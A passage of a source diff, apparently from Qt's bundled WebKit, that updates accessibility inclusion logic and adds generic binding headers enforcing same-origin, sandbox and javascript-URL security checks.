-#include "AccessibilityTableCell.h"
 #include "AXObjectCache.h"
+#include "AccessibilityTableCell.h"
 #include "HTMLNames.h"
 #include "HTMLTableRowElement.h"
 #include "RenderObject.h"
@@ -76,6 +76,12 @@ bool AccessibilityTableRow::isTableRow() const
     
 bool AccessibilityTableRow::accessibilityIsIgnored() const
 {    
+    AccessibilityObjectInclusion decision = accessibilityIsIgnoredBase();
+    if (decision == IncludeObject)
+        return false;
+    if (decision == IgnoreObject)
+        return true;
+    
     if (!isTableRow())
         return AccessibilityRenderObject::accessibilityIsIgnored();
 
diff --git a/src/3rdparty/webkit/WebCore/accessibility/qt/AccessibilityObjectQt.cpp b/src/3rdparty/webkit/WebCore/accessibility/qt/AccessibilityObjectQt.cpp
index 756ece3..7232642 100644
--- a/src/3rdparty/webkit/WebCore/accessibility/qt/AccessibilityObjectQt.cpp
+++ b/src/3rdparty/webkit/WebCore/accessibility/qt/AccessibilityObjectQt.cpp
@@ -20,8 +20,6 @@
 #include "config.h"
 #include "AccessibilityObject.h"
 
-QT_BEGIN_NAMESPACE
-
 #if HAVE(ACCESSIBILITY)
 
 namespace WebCore {
@@ -31,13 +29,14 @@ bool AccessibilityObject::accessibilityIgnoreAttachment() const
     return false;
 }
 
-AccessibilityObjectPlatformInclusion AccessibilityObject::accessibilityPlatformIncludesObject() const
+AccessibilityObjectInclusion AccessibilityObject::accessibilityPlatformIncludesObject() const
 {
+    if (isMenuListPopup() || isMenuListOption())
+        return IgnoreObject;
+
     return DefaultBehavior;
 }
 
 } // namespace WebCore
 
 #endif // HAVE(ACCESSIBILITY)
-
-QT_END_NAMESPACE
diff --git a/src/3rdparty/webkit/WebCore/bindings/ScriptControllerBase.cpp b/src/3rdparty/webkit/WebCore/bindings/ScriptControllerBase.cpp
index 7dc68ef..0467f2d 100644
--- a/src/3rdparty/webkit/WebCore/bindings/ScriptControllerBase.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/ScriptControllerBase.cpp
@@ -22,6 +22,7 @@
 #include "ScriptController.h"
 
 #include "Frame.h"
+#include "FrameLoaderClient.h"
 #include "Page.h"
 #include "ScriptSourceCode.h"
 #include "ScriptValue.h"
@@ -30,6 +31,19 @@
 
 namespace WebCore {
 
+bool ScriptController::canExecuteScripts(ReasonForCallingCanExecuteScripts reason)
+{
+    // FIXME: We should get this information from the document instead of the frame.
+    if (m_frame->loader()->isSandboxed(SandboxScripts))
+        return false;
+
+    Settings* settings = m_frame->settings();
+    const bool allowed = m_frame->loader()->client()->allowJavaScript(settings && settings->isJavaScriptEnabled());
+    if (!allowed && reason == AboutToExecuteScript)
+        m_frame->loader()->client()->didNotAllowScript();
+    return allowed;
+}
+
 ScriptValue ScriptController::executeScript(const String& script, bool forceUserGesture)
 {
     return executeScript(ScriptSourceCode(script, forceUserGesture ? KURL() : m_frame->loader()->url()));
@@ -37,7 +51,7 @@ ScriptValue ScriptController::executeScript(const String& script, bool forceUser
 
 ScriptValue ScriptController::executeScript(const ScriptSourceCode& sourceCode)
 {
-    if (!isEnabled() || isPaused())
+    if (!canExecuteScripts(AboutToExecuteScript) || isPaused())
         return ScriptValue();
 
     bool wasInExecuteScript = m_inExecuteScript;
@@ -73,8 +87,15 @@ bool ScriptController::executeIfJavaScriptURL(const KURL& url, bool userGesture,
         result = executeScript(script, userGesture);
 
     String scriptResult;
+#if USE(JSC)
+    JSDOMWindowShell* shell = windowShell(mainThreadNormalWorld());
+    JSC::ExecState* exec = shell->window()->globalExec();
+    if (!result.getString(exec, scriptResult))
+        return true;
+#else
     if (!result.getString(scriptResult))
         return true;
+#endif
 
     // FIXME: We should always replace the document, but doing so
     //        synchronously can cause crashes:
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/BindingDOMWindow.h b/src/3rdparty/webkit/WebCore/bindings/generic/BindingDOMWindow.h
new file mode 100644
index 0000000..d6d3087
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/BindingDOMWindow.h
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BindingDOMWindow_h
+#define BindingDOMWindow_h
+
+#include "Frame.h"
+#include "FrameLoadRequest.h"
+#include "GenericBinding.h"
+#include "Page.h"
+#include "SecurityOrigin.h"
+
+namespace WebCore {
+
+template <class Binding>
+class BindingDOMWindow {
+public:
+    typedef typename Binding::Value BindingValue;
+
+    static Frame* createWindow(State<Binding>*,
+                               Frame* callingFrame,
+                               Frame* enteredFrame,
+                               Frame* openerFrame,
+                               const String& url,
+                               const String& frameName,
+                               const WindowFeatures& windowFeatures,
+                               BindingValue dialogArgs);
+};
+
+// Implementations of templated methods must be in this file.
+
+template <class Binding>
+Frame* BindingDOMWindow<Binding>::createWindow(State<Binding>* state,
+                                               Frame* callingFrame,
+                                               Frame* enteredFrame,
+                                               Frame* openerFrame,
+                                               const String& url,
+                                               const String& frameName,
+                                               const WindowFeatures& windowFeatures,
+                                               BindingValue dialogArgs)
+{
+    ASSERT(callingFrame);
+    ASSERT(enteredFrame);
+
+    if (Document* callingDocument = callingFrame->document()) {
+        // Sandboxed iframes cannot open new auxiliary browsing contexts.
+        if (callingDocument->securityOrigin()->isSandboxed(SandboxNavigation))
+            return 0;
+    }
+
+    ResourceRequest request;
+
+    // For whatever reason, Firefox uses the entered frame to determine
+    // the outgoingReferrer.  We replicate that behavior here.
+    String referrer = enteredFrame->loader()->outgoingReferrer();
+    request.setHTTPReferrer(referrer);
+    FrameLoader::addHTTPOriginIfNeeded(request, enteredFrame->loader()->outgoingOrigin());
+    FrameLoadRequest frameRequest(request, frameName);
+
+    // FIXME: It's much better for client API if a new window starts with a URL,
+    // here where we know what URL we are going to open. Unfortunately, this
+    // code passes the empty string for the URL, but there's a reason for that.
+    // Before loading we have to set up the opener, openedByDOM,
+    // and dialogArguments values. Also, to decide whether to use the URL
+    // we currently do an allowsAccessFrom call using the window we create,
+    // which can't be done before creating it. We'd have to resolve all those
+    // issues to pass the URL instead of "".
+
+    bool created;
+    // We pass in the opener frame here so it can be used for looking up the
+    // frame name, in case the active frame is different from the opener frame,
+    // and the name references a frame relative to the opener frame, for example
+    // "_self" or "_parent".
+    Frame* newFrame = callingFrame->loader()->createWindow(openerFrame->loader(), frameRequest, windowFeatures, created);
+    if (!newFrame)
+        return 0;
+
+    newFrame->loader()->setOpener(openerFrame);
+    newFrame->page()->setOpenedByDOM();
+
+    Binding::DOMWindow::storeDialogArgs(state, newFrame, dialogArgs);
+
+    if (!protocolIsJavaScript(url) || BindingSecurity<Binding>::canAccessFrame(state, newFrame, true)) {
+        KURL completedUrl =
+            url.isEmpty() ? KURL(ParsedURLString, "") : completeURL(url);
+        bool userGesture = processingUserGesture();
+
+        if (created)
+            newFrame->loader()->changeLocation(completedUrl, referrer, false, false, userGesture);
+        else if (!url.isEmpty())
+            newFrame->redirectScheduler()->scheduleLocationChange(completedUrl.string(), referrer, false, userGesture);
+    }
+
+    return newFrame;
+}
+
+} // namespace WebCore
+
+#endif // BindingDOMWindow_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/BindingElement.h b/src/3rdparty/webkit/WebCore/bindings/generic/BindingElement.h
new file mode 100644
index 0000000..ba7856a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/BindingElement.h
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BindingElement_h
+#define BindingElement_h
+
+#include "Attr.h"
+#include "BindingSecurity.h"
+#include "Element.h"
+#include "ExceptionCode.h"
+
+#include <wtf/RefPtr.h>
+
+namespace WebCore {
+
+template <class Binding>
+class BindingElement {
+public:
+    static void setAttribute(State<Binding>*, Element*, const AtomicString&, const AtomicString&, ExceptionCode&);
+    static RefPtr<Attr> setAttributeNode(State<Binding>*, Element*, Attr*, ExceptionCode&);
+    static void setAttributeNS(State<Binding>*, Element*, const AtomicString&, const AtomicString&, const AtomicString&, ExceptionCode&);
+    static RefPtr<Attr> setAttributeNodeNS(State<Binding>*, Element*, Attr*, ExceptionCode&);
+};
+
+// Implementations of templated methods must be in this file.
+
+template <class Binding>
+void BindingElement<Binding>::setAttribute(State<Binding>* state, Element* element, const AtomicString& name, const AtomicString& value, ExceptionCode& ec)
+{
+    ASSERT(element);
+
+    if (!BindingSecurity<Binding>::allowSettingSrcToJavascriptURL(state, element, name, value))
+        return;
+
+    element->setAttribute(name, value, ec);
+}
+
+template <class Binding>
+RefPtr<Attr> BindingElement<Binding>::setAttributeNode(State<Binding>* state, Element* element, Attr* newAttr, ExceptionCode& ec)
+{
+    ASSERT(element);
+    ASSERT(newAttr);
+
+    if (!BindingSecurity<Binding>::allowSettingSrcToJavascriptURL(state, element, newAttr->name(), newAttr->value()))
+        return 0;
+
+    return element->setAttributeNode(newAttr, ec);
+}
+
+template <class Binding>
+void BindingElement<Binding>::setAttributeNS(State<Binding>* state, Element* element, const AtomicString& namespaceURI, const AtomicString& qualifiedName, const AtomicString& value, ExceptionCode& ec)
+{
+    ASSERT(element);
+
+    if (!BindingSecurity<Binding>::allowSettingSrcToJavascriptURL(state, element, qualifiedName, value))
+        return;
+
+    element->setAttributeNS(namespaceURI, qualifiedName, value, ec);
+}
+
+template <class Binding>
+RefPtr<Attr> BindingElement<Binding>::setAttributeNodeNS(State<Binding>* state, Element* element, Attr* newAttr, ExceptionCode& ec)
+{
+    ASSERT(element);
+    ASSERT(newAttr);
+
+    if (!BindingSecurity<Binding>::allowSettingSrcToJavascriptURL(state, element, newAttr->name(), newAttr->value()))
+        return 0;
+
+    return element->setAttributeNodeNS(newAttr, ec);
+}
+
+} // namespace WebCore
+
+#endif // BindingElement_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurity.h b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurity.h
new file mode 100644
index 0000000..929b8f4
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurity.h
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BindingSecurity_h
+#define BindingSecurity_h
+
+#include "BindingSecurityBase.h"
+#include "CSSHelper.h"
+#include "Element.h"
+#include "GenericBinding.h"
+#include "HTMLFrameElementBase.h"
+
+namespace WebCore {
+
+class DOMWindow;
+class Frame;
+class Node;
+
+// Security functions shared by various language bindings.
+template <class Binding>
+class BindingSecurity : public BindingSecurityBase {
+public:
+    // Check if the active execution context can access the target frame.
+    static bool canAccessFrame(State<Binding>*, Frame*, bool reportError);
+
+    // Check if it is safe to access the given node from the
+    // current security context.
+    static bool checkNodeSecurity(State<Binding>*, Node* target);
+
+    static bool allowSettingFrameSrcToJavascriptUrl(State<Binding>*, HTMLFrameElementBase*, String value);
+    static bool allowSettingSrcToJavascriptURL(State<Binding>*, Element*, String name, String value);
+
+private:
+    explicit BindingSecurity() {}
+    ~BindingSecurity();
+
+    // Check if the current DOMWindow's security context can access the target
+    // DOMWindow.  This function does not report errors, so most callers should
+    // use canAccessFrame instead.
+    static bool canAccessWindow(State<Binding>*, DOMWindow* target);
+};
+
+// Implementations of templated methods must be in this file.
+
+template <class Binding>
+bool BindingSecurity<Binding>::canAccessWindow(State<Binding>* state,
+                                               DOMWindow* targetWindow)
+{
+    DOMWindow* activeWindow = state->getActiveWindow();
+    return canAccess(activeWindow, targetWindow);
+}
+
+template <class Binding>
+bool BindingSecurity<Binding>::canAccessFrame(State<Binding>* state,
+                                              Frame* target,
+                                              bool reportError)
+{
+    // The subject is detached from a frame, deny accesses.
+    if (!target)
+        return false;
+
+    if (!canAccessWindow(state, getDOMWindow(target))) {
+        if (reportError)
+            state->immediatelyReportUnsafeAccessTo(target);
+        return false;
+    }
+    return true;
+}
+
+template <class Binding>
+bool BindingSecurity<Binding>::checkNodeSecurity(State<Binding>* state, Node* node)
+{
+    if (!node)
+        return false;
+
+    Frame* target = getFrame(node);
+
+    if (!target)
+        return false;
+
+    return canAccessFrame(state, target, true);
+}
+
+template <class Binding>
+bool BindingSecurity<Binding>::allowSettingFrameSrcToJavascriptUrl(State<Binding>* state, HTMLFrameElementBase* frame, String value)
+{
+    if (protocolIsJavaScript(deprecatedParseURL(value))) {
+        Node* contentDoc = frame->contentDocument();
+        if (contentDoc && !checkNodeSecurity(state, contentDoc))
+            return false;
+    }
+    return true;
+}
+
+template <class Binding>
+bool BindingSecurity<Binding>::allowSettingSrcToJavascriptURL(State<Binding>* state, Element* element, String name, String value)
+{
+    if ((element->hasTagName(HTMLNames::iframeTag) || element->hasTagName(HTMLNames::frameTag)) && equalIgnoringCase(name, "src"))
+        return allowSettingFrameSrcToJavascriptUrl(state, static_cast<HTMLFrameElementBase*>(element), value);
+    return true;
+}
+
+}
+
+#endif // BindingSecurity_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.cpp b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.cpp
new file mode 100644
index 0000000..1598781
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.cpp
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "BindingSecurityBase.h"
+
+#include "DOMWindow.h"
+#include "Frame.h"
+#include "SecurityOrigin.h"
+
+namespace WebCore {
+
+DOMWindow* BindingSecurityBase::getDOMWindow(Frame* frame)
+{
+    return frame->domWindow();
+}
+
+Frame* BindingSecurityBase::getFrame(Node* node)
+{
+    return node->document()->frame();
+}
+
+// Same origin policy implementation:
+//
+// Same origin policy prevents JS code from domain A from accessing JS & DOM
+// objects in a different domain B. There are exceptions and several objects
+// are accessible by cross-domain code. For example, the window.frames object
+// is accessible by code from a different domain, but window.document is not.
+//
+// The JS binding code sets security check callbacks on a function template,
+// and accessing instances of the template calls the callback function.
+// The callback function enforces the same origin policy.
+//
+// Callback functions are expensive. Binding code should use a security token
+// string to do fast access checks for the common case where source and target
+// are in the same domain. A security token is a string object that represents
+// the protocol/url/port of a domain.
+//
+// There are special cases where security token matching is not enough.
+// For example, JS can set its domain to a super domain by calling
+// document.setDomain(...). In these cases, the binding code can reset
+// a context's security token to its global object so that the fast access
+// check will always fail.
+
+// Helper to check if the current execution context can access a target frame.
+// First it checks same domain policy using the lexical context.
+//
+// This is equivalent to KJS::Window::allowsAccessFrom(ExecState*).
+bool BindingSecurityBase::canAccess(DOMWindow* activeWindow,
+                                    DOMWindow* targetWindow)
+{
+    ASSERT(targetWindow);
+
+    String message;
+
+    if (activeWindow == targetWindow)
+        return true;
+
+    if (!activeWindow)
+        return false;
+
+    const SecurityOrigin* activeSecurityOrigin = activeWindow->securityOrigin();
+    const SecurityOrigin* targetSecurityOrigin = targetWindow->securityOrigin();
+
+    // We have seen crashes were the security origin of the target has not been
+    // initialized. Defend against that.
+    if (!targetSecurityOrigin)
+        return false;
+
+    if (activeSecurityOrigin->canAccess(targetSecurityOrigin))
+        return true;
+
+    // Allow access to a "about:blank" page if the dynamic context is a
+    // detached context of the same frame as the blank page.
+    if (targetSecurityOrigin->isEmpty() && activeWindow->frame() == targetWindow->frame())
+        return true;
+
+    return false;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.h b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.h
new file mode 100644
index 0000000..cfa2e99
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/BindingSecurityBase.h
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BindingSecurityBase_h
+#define BindingSecurityBase_h
+
+namespace WebCore {
+
+class DOMWindow;
+class Frame;
+class Node;
+
+// Helper functions for BindingSecurity that depend on WebCore classes, and
+// thus should not be implemented in BindingSecurity.h, which contains template
+// method definitions.
+class BindingSecurityBase {
+protected:
+    static DOMWindow* getDOMWindow(Frame*);
+    static Frame* getFrame(Node*);
+    static bool canAccess(DOMWindow* active, DOMWindow* target);
+};
+
+}
+
+#endif // BindingSecurityBase_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/GenericBinding.h b/src/3rdparty/webkit/WebCore/bindings/generic/GenericBinding.h
new file mode 100644
index 0000000..d030b45
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/GenericBinding.h
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef GenericBinding_h
+#define GenericBinding_h
+
+namespace WebCore {
+
+// Used to instantiate binding templates for any methods shared among all
+// language bindings.
+class GenericBinding {};
+
+// Class to represent execution state for each language binding.
+template <class T>
+class State {};
+
+// Common notion of execution state for language bindings.
+template <>
+class State<GenericBinding> {
+    // Any methods shared across bindings can go here.
+};
+
+}
+
+#endif // GenericBinding_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.cpp b/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.cpp
new file mode 100644
index 0000000..6ba85da
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.cpp
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "RuntimeEnabledFeatures.h"
+
+#include "Database.h"
+#include "MediaPlayer.h"
+#include "SharedWorkerRepository.h"
+#include "WebSocket.h"
+
+namespace WebCore {
+
+bool RuntimeEnabledFeatures::isLocalStorageEnabled = true;
+bool RuntimeEnabledFeatures::isSessionStorageEnabled = true;
+bool RuntimeEnabledFeatures::isWebkitNotificationsEnabled = false;
+bool RuntimeEnabledFeatures::isApplicationCacheEnabled = true;
+bool RuntimeEnabledFeatures::isGeolocationEnabled = true;
+bool RuntimeEnabledFeatures::isIndexedDBEnabled = false;
+bool RuntimeEnabledFeatures::isWebGLEnabled = false;
+bool RuntimeEnabledFeatures::isPushStateEnabled = false;
+
+#if ENABLE(VIDEO)
+
+bool RuntimeEnabledFeatures::audioEnabled()
+{
+    return MediaPlayer::isAvailable();
+}
+
+bool RuntimeEnabledFeatures::htmlMediaElementEnabled()
+{
+    return MediaPlayer::isAvailable();
+}
+
+bool RuntimeEnabledFeatures::htmlAudioElementEnabled()
+{
+    return MediaPlayer::isAvailable();
+}
+
+bool RuntimeEnabledFeatures::htmlVideoElementEnabled()
+{
+    return MediaPlayer::isAvailable();
+}
+
